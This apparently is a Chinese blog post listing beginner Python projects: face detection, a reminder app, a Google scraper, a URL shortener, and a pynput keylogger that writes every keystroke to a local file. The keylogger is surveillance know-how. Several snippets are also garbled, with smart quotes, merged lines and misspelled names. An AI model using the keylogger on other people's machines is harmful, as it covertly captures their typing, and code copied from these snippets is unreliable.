查看電腦鍵盤輸入記錄:鍵盤記錄器的實現方式

人臉識別

目的:編寫一個Python腳本,可以檢測圖像中的人臉,並將所有的人臉保存在一個文件夾中。

提示:可以使用haar級聯分類器對人臉進行檢測。它返回的人臉坐標信息,可以保存在一個文件中。

安裝:OpenCV。

import cv2

# Load the cascade

face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)

# Read the input image

img = cv2.imread(‘images/img0.jpg’)

# Convert into grayscale

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# Detect faces

faces = face_cascade.detectMultiScale(gray, 1.3, 4)

# Draw rectangle around the faces

for (x, y, w, h) in faces:

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)

crop_face = img[y:y + h, x:x + w]

cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)

# Display the output

cv2.imshow(‘img’, img)

cv2.imshow(“imgcropped”,crop_face)

cv2.waitKey()

七、提醒應用

目的:創建一個提醒應用程序,在特定的時間提醒你做一些事情(桌面通知)。

提示:Time模塊可以用來跟蹤提醒時間,toastnotifier庫可以用來顯示桌面通知。

安裝:win10toast

from win10toast

import ToastNotifier

import time toaster = ToastNotifier()

try: print(“Title of reminder”)

header = input()

print(“Message of reminder”)

text = input() print(“In how many minutes?”)

time_min = input() time_min=float(time_min)

except:

header = input(“Title of reminder\n”)

text = input(“Message of remindar\n”)

time_min=float(input(“In how many minutes?\n”))

time_min = time_min * 60 print(“Setting up reminder..”)

time.sleep(2) print(“all set!”)

time.sleep(time_min) toaster.show_toast(f”{header}”, f”{text}”, duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)

更多項目源碼,請繼續關注小編,如果大家在學習中遇到困難,想找一個python學習交流環境,可以加入我們的python裙,關注小編,並私信「01」即可進裙,領取python學習資料,會節約很多時間,減少很多遇到的難題。

八、獲取谷歌搜索

目的:創建一個腳本,可以根據查詢條件從谷歌搜索獲取數據。

from bs4

import BeautifulSoup

import requests

headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’} def google(query):

query = query.replace(” “,”+”)

try:

url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8′

res = requests.get(url,headers=headers)

soup = BeautifulSoup(res.text,’html.parser’)

except:

print(“Make sure you have a internet connection”)

try:

try:

ans = soup.select(‘.RqBzHd’)[0].getText().strip() except: try: title=soup.select(‘.AZCkJd’)[0].getText().strip()

try:

ans=soup.select(‘.e24Kjd’)[0].getText().strip()

except: ans=”” ans=f'{title}\n{ans}’ except:

try:

ans=soup.select(‘.hgKElc’)[0].getText().strip()

except:

ans=soup.select(‘.kno-rdesc span’)[0].getText().strip()

except:

ans = “can’t find on google”

return ans result = google(str(input(“Query\n”))) print(result)

九、鍵盤記錄器

目的:編寫一個Python腳本,將用戶按下的所有鍵保存在一個文本文件中。

提示:pynput是Python中的一個庫,用於控制鍵盤和鼠標的移動,它也可以用於製作鍵盤記錄器。簡單地讀取用戶按下的鍵,並在一定數量的鍵後將它們保存在一個文本文件中。

from pynput.keyboard import Key, Controller,Listener

import time

keyboard = Controller()

keys=[]

def on_press(key):

global keys

#keys.append(str(key).replace(“‘”,””))

string = str(key).replace(“‘”,””)

keys.append(string)

main_string = “”.join(keys)

print(main_string)

if len(main_string)>15:

with open(‘keys.txt’, ‘a’) as f:

f.write(main_string)

keys= []

def on_release(key):

if key == Key.esc:

return False

with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

十、短網址生成器

目的:編寫一個Python腳本,使用API縮短給定的URL。

from __future__ import with_statement

import contextlib

try:

from urllib.parse import urlencode

except ImportError:

from urllib import urlencode

try:

from urllib.request import urlopen

except ImportError:

from urllib2 import urlope

import sys

def make_tiny(url):

request_url = (‘http://tinyurl.com/api-create.php?’ +

urlencode({‘url’:url}))

with contextlib.closing(urlopen(request_url)) as response:

return response.read().decode(‘utf-8’)

def main(): for tinyurl in map(make_tiny, sys.argv[1:]):

print(tinyurl) if __name__ == ‘__main__’: main()

—————————–OUTPUT————————

python url_shortener.py https://www.wikipedia.org/

https://tinyurl.com/buf3qt3

最後多說一句,小編是一名python開發工程師,這裡有我自己整理了一套最新的python系統學習教程,包括從基礎的python腳本到web開發、爬蟲、數據分析、數據可視化、機器學習等。

原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/221035.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
投稿專員的頭像投稿專員
上一篇 2024-12-09 12:47
下一篇 2024-12-09 12:47

相關推薦

發表回復

登錄後才能評論